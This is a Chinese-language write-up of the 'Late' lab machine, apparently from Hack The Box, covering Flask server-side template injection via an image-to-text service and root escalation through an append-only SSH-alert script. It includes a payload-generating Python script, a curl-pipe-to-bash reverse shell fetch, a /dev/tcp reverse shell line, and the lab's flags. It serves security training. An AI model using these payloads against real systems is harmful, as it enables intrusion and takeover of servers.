[Meachines] [Easy] Late Image to text(Flask)SSTI+lsattr+ssh登入预警权限提升
字数 967 2025-08-29 08:30:19

Flask SSTI漏洞利用与SSH登录警报权限提升教学文档

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.11.156
  • 开放端口:
    • 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.6
    • 80/tcp: nginx 1.14.0 (Ubuntu)

1.2 主机发现与端口扫描

使用以下命令进行目标存活检测和端口扫描:

ip='10.10.11.156'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

2. Web应用分析

2.1 添加主机名到/etc/hosts

echo '10.10.11.156 late.htb images.late.htb' >> /etc/hosts

2.2 访问Web应用

  • 主站点: http://late.htb/
  • 图片处理服务: http://images.late.htb/

3. Flask SSTI漏洞利用

3.1 漏洞描述

目标网站存在Flask服务器端模板注入(SSTI)漏洞,可以通过图片转文本功能利用。

3.2 生成恶意图片

使用以下Python脚本生成包含SSTI payload的图片:

from PIL import Image, ImageDraw, ImageFont
import sys

def main():
    if len(sys.argv) < 2:
        print('Usage: {} <cmd>'.format(sys.argv[0]))
        exit()
    
    img = Image.new('RGB', (2000, 100), color=(0, 0, 0))
    draw = ImageDraw.Draw(img)
    
    try:
        myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15)
    except IOError:
        print("Font file not found. Using default font.")
        myFont = ImageFont.load_default()
    
    payload = "{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen(\"{cmd}\").read() }}".format(cmd=sys.argv[1])
    draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont)
    img.save('payload.png')
    print("Payload image saved as 'payload.png'")

if __name__ == '__main__':
    main()

3.3 执行远程命令

生成反弹shell payload:

python3 exp.py 'curl http://10.10.16.33/reverse.sh|bash'

上传生成的payload.png到图片转文本服务,触发SSTI漏洞执行命令。

4. 初始访问

成功利用SSTI漏洞后获取用户权限:

  • 用户标志: 97957f521c7524ab8c7d89ab95ef262f

5. 权限提升

5.1 发现SSH登录警报脚本

路径: /usr/local/sbin/ssh-alert.sh

5.2 检查文件属性

lsattr /usr/local/sbin/ssh-alert.sh

输出显示文件具有"只能追加"属性(a属性)。

5.3 利用方法

由于文件只能追加,我们可以添加反弹shell命令:

echo '/bin/sh -i >& /dev/tcp/10.10.16.33/443 0>&1' >> /usr/local/sbin/ssh-alert.sh

5.4 触发执行

使用SSH登录目标机器,触发警报脚本执行:

ssh svc_acc@10.10.11.156 -i ./id_rsa

5.5 获取root权限

成功获取root shell后,读取root标志:

  • root标志: 3ab5d906b2aa753ace8296d4f46c67f6

6. 关键点总结

  1. SSTI漏洞利用:

    • 通过图片转文本功能注入Flask模板代码
    • 使用__globals__访问os模块执行系统命令
  2. 权限提升技巧:

    • 检查具有特殊属性的文件(lsattr)
    • 利用只能追加(a属性)的文件添加恶意命令
    • 通过SSH登录触发脚本执行
  3. 防御建议:

    • 对用户输入进行严格过滤
    • 避免在模板中使用不安全的功能
    • 限制敏感文件的权限和属性
    • 审计系统上的setuid文件和可写脚本
Flask SSTI漏洞利用与SSH登录警报权限提升教学文档 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.11.156 开放端口: 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 80/tcp: nginx 1.14.0 (Ubuntu) 1.2 主机发现与端口扫描 使用以下命令进行目标存活检测和端口扫描: 2. Web应用分析 2.1 添加主机名到/etc/hosts 2.2 访问Web应用 主站点: http://late.htb/ 图片处理服务: http://images.late.htb/ 3. Flask SSTI漏洞利用 3.1 漏洞描述 目标网站存在Flask服务器端模板注入(SSTI)漏洞,可以通过图片转文本功能利用。 3.2 生成恶意图片 使用以下Python脚本生成包含SSTI payload的图片: 3.3 执行远程命令 生成反弹shell payload: 上传生成的payload.png到图片转文本服务,触发SSTI漏洞执行命令。 4. 初始访问 成功利用SSTI漏洞后获取用户权限: 用户标志: 97957f521c7524ab8c7d89ab95ef262f 5. 权限提升 5.1 发现SSH登录警报脚本 路径: /usr/local/sbin/ssh-alert.sh 5.2 检查文件属性 输出显示文件具有"只能追加"属性(a属性)。 5.3 利用方法 由于文件只能追加,我们可以添加反弹shell命令: 5.4 触发执行 使用SSH登录目标机器,触发警报脚本执行: 5.5 获取root权限 成功获取root shell后,读取root标志: root标志: 3ab5d906b2aa753ace8296d4f46c67f6 6. 关键点总结 SSTI漏洞利用 : 通过图片转文本功能注入Flask模板代码 使用 __globals__ 访问os模块执行系统命令 权限提升技巧 : 检查具有特殊属性的文件( lsattr ) 利用只能追加(a属性)的文件添加恶意命令 通过SSH登录触发脚本执行 防御建议 : 对用户输入进行严格过滤 避免在模板中使用不安全的功能 限制敏感文件的权限和属性 审计系统上的setuid文件和可写脚本